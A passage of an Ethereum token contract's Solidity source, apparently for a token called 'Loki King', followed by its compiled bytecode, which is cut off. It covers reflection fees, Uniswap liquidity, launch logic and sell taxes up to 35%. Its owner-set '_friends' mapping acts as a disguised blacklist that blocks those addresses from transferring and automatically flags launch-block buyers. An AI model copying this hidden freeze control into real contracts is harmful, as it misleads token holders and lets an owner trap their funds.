return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
launchBlock = block.number;
}
function setFriends(address[] memory friends) public onlyOwner {
for (uint i = 0; i < friends.length; i++) {
if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) {
_friends[friends[i]] = true;
}
}
}
function delFriend(address notfriend) public onlyOwner {
_friends[notfriend] = false;
}
function isFriend(address ad) public view returns (bool) {
return _friends[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
// might return outdated counter if more than 30 mins
function buyTax(address buyer) public view returns (uint) {
return ((5 - trader[buyer].buynumber).mul(2));
}
function sellTax(address ad) public view returns (uint) {
if(block.timestamp > trader[ad].lastBuy + (3 hours)) {
return 10;
} else if (block.timestamp > trader[ad].lastBuy + (1 hours)) {
return 15;
} else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) {
return 20;
} else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) {
return 25;
} else {
return 35;
}
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613f5e565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190613a3b565b610662565b6040516101f09190613f43565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614140565b60405180910390f35b34801561023057600080fd5b5061024b600480360381019061024691906139ec565b610691565b6040516102589190613f43565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614140565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae91906141b5565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613b0a565b610783565b005b3480156102ec57600080fd5b5061030760048036038101906103029190613ab8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b919061395e565b61095f565b60405161033d9190614140565b60405180910390f35b34801561035257600080fd5b5061036d6004803603810190610368919061395e565b610aeb565b60405161037a9190613f43565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a5919061395e565b610b41565b6040516103b79190614140565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f9919061395e565b610c0a565b60405161040b9190614140565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613e75565b60405180910390f35b34801561046257600080fd5b5061047d6004803603810190610478919061395e565b610dd7565b60405161048a9190614140565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613f5e565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190613a3b565b610e7f565b6040516104f29190613f43565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613f43565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190613a77565b610eb2565b005b34801561055b57600080fd5b50610564611134565b005b34801561057257600080fd5b5061057b6111ae565b005b34801561058957600080fd5b5061059261127a565b60405161059f9190614140565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca919061395e565b6112ac565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906139b0565b61139c565b6040516106059190614140565b60405180910390f35b34801561061a57600080fd5b50610623611423565b005b60606040518060400160405280600b81526020017f204c6f6b69204b696e6720000000000000000000000000000000000000000000815250905090565b600061067661066f611935565b848461193d565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611b08565b61075f846106aa611935565b61075a8560405180606001604052806028815260200161491760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610710611935565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdd9092919063ffffffff16565b61193d565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c4611935565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90614020565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614140565b60405180910390a150565b610872611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690614080565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613f43565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b19190614276565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a119190614276565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a719190614276565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad19190614276565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b919190614357565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd9611935565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612c41565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db8565b9050919050565b610c63611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790614080565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d9190614357565b612e2690919063ffffffff16565b9050919050565b60606040518060400160405280600a81526020017f204c6f6b694b696e672000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c611935565b8484611b08565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90614080565b60405180910390fd5b60005b815181101561113057601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610fc5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415801561107f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061105e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561111d576001600660008484815181106110c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061112890614456565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611175611935565b73ffffffffffffffffffffffffffffffffffffffff161461119557600080fd5b60006111a030610c0a565b90506111ab81612ea1565b50565b6111b6611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a90614080565b60405180910390fd5b6001601560146101000a81548160ff02191690831515021790555060784261126b9190614276565b60178190555043601681905550565b60006112a7601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112b4611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133890614080565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61142b611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114af90614080565b60405180910390fd5b601560149054906101000a900460ff1615611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90614100565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061159830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061193d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156115de57600080fd5b505afa1580156115f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190613987565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561167857600080fd5b505afa15801561168c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b09190613987565b6040518363ffffffff1660e01b81526004016116cd929190613e90565b602060405180830381600087803b1580156116e757600080fd5b505af11580156116fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171f9190613987565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117a830610c0a565b6000806117b3610dae565b426040518863ffffffff1660e01b81526004016117d596959493929190613ee2565b6060604051808303818588803b1580156117ee57600080fd5b505af1158015611802573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118279190613b33565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118df929190613eb9565b602060405180830381600087803b1580156118f957600080fd5b505af115801561190d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119319190613ae1565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a4906140e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1490613fc0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611afb9190614140565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6f906140c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdf90613f80565b60405180910390fd5b60008111611c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c22906140a0565b60405180910390fd5b611c33610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca15750611c71610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612b1a57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d4a5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d5357600080fd5b6001601654611d629190614276565b4311158015611d72575060105481145b15611f9157601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e85576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f90565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611f315750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f8f576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661209e576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121495750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561219f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561272757601560149054906101000a900460ff166121f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ea90614120565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546122439190614276565b421115612293576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561234b57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061233190614456565b91905055506005600a819055506005600b81905550612587565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561240357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906123e990614456565b91905055506004600a819055506004600b81905550612586565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156124bb57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124a190614456565b91905055506003600a819055506003600b81905550612585565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561257357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061255990614456565b91905055506002600a819055506002600b81905550612584565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff1615612726574260175411156126d2576010548111156125fa57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061267e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267590613fe0565b60405180910390fd5b602d4261268b9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f426126df9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b600061273230610c0a565b9050601560169054906101000a900460ff1615801561279f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127b75750601560149054906101000a900460ff165b15612b185760158054906101000a900460ff16156128545742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410612853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284a90614040565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128aa9190614276565b4211156128ba57600a90506129e2565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461290a9190614276565b42111561291a57600f90506129e1565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461296a9190614276565b42111561297a57601490506129e0565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546129ca9190614276565b4211156129da57601990506129df565b602390505b5b5b5b612a09600a6129fb600484612e2690919063ffffffff16565b61319b90919063ffffffff16565b600a81905550612a36600a612a28600684612e2690919063ffffffff16565b61319b90919063ffffffff16565b600b819055506000821115612afd57612a976064612a89600c54612a7b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b821115612af357612af06064612ae2600c54612ad4601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b91505b612afc82612ea1565b5b60004790506000811115612b1557612b1447612c41565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612bc15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bcb57600090505b612bd7848484846131e5565b50505050565b6000838311158290612c25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c1c9190613f5e565b60405180910390fd5b5060008385612c349190614357565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9160028461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cbc573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d0d60048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d38573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d8960048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612db4573d6000803e3d6000fd5b5050565b6000600854821115612dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df690613fa0565b60405180910390fd5b6000612e09613212565b9050612e1e818461319b90919063ffffffff16565b915050919050565b600080831415612e395760009050612e9b565b60008284612e4791906142fd565b9050828482612e5691906142cc565b14612e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e8d90614060565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612eff577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612f2d5781602001602082028036833780820191505090505b5090503081600081518110612f6b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561300d57600080fd5b505afa158015613021573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130459190613987565b8160018151811061307f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506130e630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461193d565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161314a95949392919061415b565b600060405180830381600087803b15801561316457600080fd5b505af1158015613178573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006131dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061323d565b905092915050565b806131f3576131f26132a0565b5b6131fe8484846132e3565b8061320c5761320b6134ae565b5b50505050565b600080600061321f6134c2565b91509150613236818361319b90919063ffffffff16565b9250505090565b60008083118290613284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161327b9190613f5e565b60405180910390fd5b506000838561329391906142cc565b9050809150509392505050565b6000600a541480156132b457506000600b54145b156132be576132e1565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b6000806000806000806132f587613524565b95509550955095509550955061335386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461358c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133e885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343481613634565b61343e84836136f1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161349b9190614140565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea0000090506134f8683635c9adc5dea0000060085461319b90919063ffffffff16565b82101561351757600854683635c9adc5dea00000935093505050613520565b81819350935050505b9091565b60008060008060008060008060006135418a600a54600b5461372b565b9250925092506000613551613212565b905060008060006135648e8787876137c1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006135ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612bdd565b905092915050565b60008082846135e59190614276565b90508381101561362a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161362190614000565b60405180910390fd5b8091505092915050565b600061363e613212565b905060006136558284612e2690919063ffffffff16565b90506136a981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6137068260085461358c90919063ffffffff16565b600881905550613721816009546135d690919063ffffffff16565b6009819055505050565b6000806000806137576064613749888a612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137816064613773888b612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137aa8261379c858c61358c90919063ffffffff16565b61358c90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806137da8589612e2690919063ffffffff16565b905060006137f18689612e2690919063ffffffff16565b905060006138088789612e2690919063ffffffff16565b